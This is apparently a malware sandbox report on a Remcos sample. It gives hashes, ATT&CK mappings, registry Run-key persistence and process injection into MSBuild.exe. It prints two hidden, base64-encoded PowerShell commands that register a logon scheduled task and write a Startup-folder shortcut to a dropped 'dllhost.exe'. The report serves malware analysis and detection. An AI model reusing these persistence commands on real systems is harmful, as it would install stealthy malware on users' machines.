e87a74c914a6fda1b92490e7b3d281a37d6b055dd6bf0f1d66f64352c9c41294

Analysis

max time kernel
148s
max time network
122s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/07/2026, 17:08

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General

Target
remcos.exe
Size 855KB
Sample260709-vn2xnset3n
SHA256 e87a74c914a6fda1b92490e7b3d281a37d6b055dd6bf0f1d66f64352c9c41294
MD5 6a102e8ca530ad714fec3f73074df324
SHA1 8c30514546d1e6f04d94b6ba14234c37dab32bdd
SHA512 0aee8519697987b69e07881867012029c79bc9bd5e2d5459b4a3f81e547c673fdd996cf2515410cd374ddb6a40ac24aac02e48e39c423f0638c2b816be5925bb
SSDEEP 24576:YP8i+y/4iKKKAUl4SMHuiKEKElaLsmiMgfIOutqtV616:YP8i+y/4PloOd+aYmsftVz
TLSH
T1C715122023FC8F7CC2AF477EE1A2085149B29186B35AEB4D5F48B8DD68637631553B27
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1332	powershell.exe
1416	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3232	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000\Software\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\dllhost.exe\""	remcos.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\dllhost.exe\""	remcos.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3232 set thread context of 1896	3232	dllhost.exe	93
PID 3092 set thread context of 2560	3092	remcos.exe	96

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1332	powershell.exe
1332	powershell.exe
1416	powershell.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3092	remcos.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeIncreaseQuotaPrivilege	1332	powershell.exe
Token: SeSecurityPrivilege	1332	powershell.exe
Token: SeTakeOwnershipPrivilege	1332	powershell.exe
Token: SeLoadDriverPrivilege	1332	powershell.exe
Token: SeSystemProfilePrivilege	1332	powershell.exe
Token: SeSystemtimePrivilege	1332	powershell.exe
Token: SeProfSingleProcessPrivilege	1332	powershell.exe
Token: SeIncBasePriorityPrivilege	1332	powershell.exe
Token: SeCreatePagefilePrivilege	1332	powershell.exe
Token: SeBackupPrivilege	1332	powershell.exe
Token: SeRestorePrivilege	1332	powershell.exe
Token: SeShutdownPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeSystemEnvironmentPrivilege	1332	powershell.exe
Token: SeRemoteShutdownPrivilege	1332	powershell.exe
Token: SeUndockPrivilege	1332	powershell.exe
Token: SeManageVolumePrivilege	1332	powershell.exe
Token: 33	1332	powershell.exe
Token: 34	1332	powershell.exe
Token: 35	1332	powershell.exe
Token: 36	1332	powershell.exe
Token: SeIncreaseQuotaPrivilege	1332	powershell.exe
Token: SeSecurityPrivilege	1332	powershell.exe
Token: SeTakeOwnershipPrivilege	1332	powershell.exe
Token: SeLoadDriverPrivilege	1332	powershell.exe
Token: SeSystemProfilePrivilege	1332	powershell.exe
Token: SeSystemtimePrivilege	1332	powershell.exe
Token: SeProfSingleProcessPrivilege	1332	powershell.exe
Token: SeIncBasePriorityPrivilege	1332	powershell.exe
Token: SeCreatePagefilePrivilege	1332	powershell.exe
Token: SeBackupPrivilege	1332	powershell.exe
Token: SeRestorePrivilege	1332	powershell.exe
Token: SeShutdownPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeSystemEnvironmentPrivilege	1332	powershell.exe
Token: SeRemoteShutdownPrivilege	1332	powershell.exe
Token: SeUndockPrivilege	1332	powershell.exe
Token: SeManageVolumePrivilege	1332	powershell.exe
Token: 33	1332	powershell.exe
Token: 34	1332	powershell.exe
Token: 35	1332	powershell.exe
Token: 36	1332	powershell.exe
Token: SeIncreaseQuotaPrivilege	1332	powershell.exe
Token: SeSecurityPrivilege	1332	powershell.exe
Token: SeTakeOwnershipPrivilege	1332	powershell.exe
Token: SeLoadDriverPrivilege	1332	powershell.exe
Token: SeSystemProfilePrivilege	1332	powershell.exe
Token: SeSystemtimePrivilege	1332	powershell.exe
Token: SeProfSingleProcessPrivilege	1332	powershell.exe
Token: SeIncBasePriorityPrivilege	1332	powershell.exe
Token: SeCreatePagefilePrivilege	1332	powershell.exe
Token: SeBackupPrivilege	1332	powershell.exe
Token: SeRestorePrivilege	1332	powershell.exe
Token: SeShutdownPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeSystemEnvironmentPrivilege	1332	powershell.exe
Token: SeRemoteShutdownPrivilege	1332	powershell.exe
Token: SeUndockPrivilege	1332	powershell.exe
Token: SeManageVolumePrivilege	1332	powershell.exe
Token: 33	1332	powershell.exe
Token: 34	1332	powershell.exe
Token: 35	1332	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3092 wrote to memory of 1332	3092	remcos.exe	88
PID 3232 wrote to memory of 1896	3232	dllhost.exe	93
PID 3232 wrote to memory of 1896	3232	dllhost.exe	93
PID 3232 wrote to memory of 1896	3232	dllhost.exe	93
PID 3232 wrote to memory of 1896	3232	dllhost.exe	93
PID 3232 wrote to memory of 1896	3232	dllhost.exe	93
PID 3092 wrote to memory of 1416	3092	remcos.exe	94
PID 3092 wrote to memory of 2560	3092	remcos.exe	96
PID 3092 wrote to memory of 2560	3092	remcos.exe	96
PID 3092 wrote to memory of 2560	3092	remcos.exe	96
PID 3092 wrote to memory of 2560	3092	remcos.exe	96
PID 3092 wrote to memory of 2560	3092	remcos.exe	96

C:\Users\Admin\AppData\Local\Temp\remcos.exe
"C:\Users\Admin\AppData\Local\Temp\remcos.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAZABsAGwAaABvAHMAdAAuAGUAeABlACcAOwAkAHQAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAG8AbgAgAC0AVQBzAGUAcgAgACQAZQBuAHYAOgBVAFMARQBSAE4AQQBNAEUAOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ASABpAGQAZABlAG4AIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABbAFQAaQBtAGUAUwBwAGEAbgBdADoAOgBaAGUAcgBvACkAOwBSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAGQAbABsAGgAbwBzAHQAJwAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACQAcwAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAHQAbwBwAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABkAGwAbABoAG8AcwB0AC4AbABuAGsAJwApADsAJABsAG4AawAuAFQAYQByAGcAZQB0AFAAYQB0AGgAPQAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAEEAcABwAHMAXABkAGwAbABoAG8AcwB0AC4AZQB4AGUAJwA7ACQAbABuAGsALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQA3ADsAJABsAG4AawAuAFMAYQB2AGUAKAApAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  PID:1416
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
  2⤵
  PID:2560

C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\dllhost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\dllhost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
  2⤵
  PID:1896

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_r5xvagsn.sap.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r5xvagsn.sap.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

dllhost.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\dllhost.exe
Size 855KB
SHA256 e87a74c914a6fda1b92490e7b3d281a37d6b055dd6bf0f1d66f64352c9c41294
MD5 6a102e8ca530ad714fec3f73074df324
SHA1 8c30514546d1e6f04d94b6ba14234c37dab32bdd
SHA512 0aee8519697987b69e07881867012029c79bc9bd5e2d5459b4a3f81e547c673fdd996cf2515410cd374ddb6a40ac24aac02e48e39c423f0638c2b816be5925bb
SSDEEP 24576:YP8i+y/4iKKKAUl4SMHuiKEKElaLsmiMgfIOutqtV616:YP8i+y/4PloOd+aYmsftVz
TLSH
T1C715122023FC8F7CC2AF477EE1A2085149B29186B35AEB4D5F48B8DD68637631553B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1332-28-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-27-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-10-0x000001AEFB860000-0x000001AEFB912000-memory.dmp

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memory/1332-9-0x000001AEFB840000-0x000001AEFB85E000-memory.dmp

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memory/1332-11-0x000001AEFB920000-0x000001AEFB92A000-memory.dmp

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memory/1332-34-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-13-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-31-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-15-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-16-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-17-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-18-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-20-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-30-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-6-0x000001AEFB790000-0x000001AEFB7B2000-memory.dmp

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memory/1332-21-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-24-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-22-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-25-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-26-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/1332-23-0x000001AEFBDB0000-0x000001AEFBDCE000-memory.dmp

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memory/3092-0-0x0000000000C50000-0x0000000000D2A000-memory.dmp

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memory/3092-29-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/3092-3-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/3092-2-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/3092-1-0x00007FFB03FBF000-0x00007FFB03FC0000-memory.dmp

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memory/3092-40-0x00007FFB03E30000-0x00007FFB047D4000-memory.dmp

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memory/3232-19-0x0000000001960000-0x000000000197E000-memory.dmp

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memory/3232-14-0x0000000001940000-0x000000000194A000-memory.dmp

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memory/3232-32-0x0000000003740000-0x0000000003748000-memory.dmp

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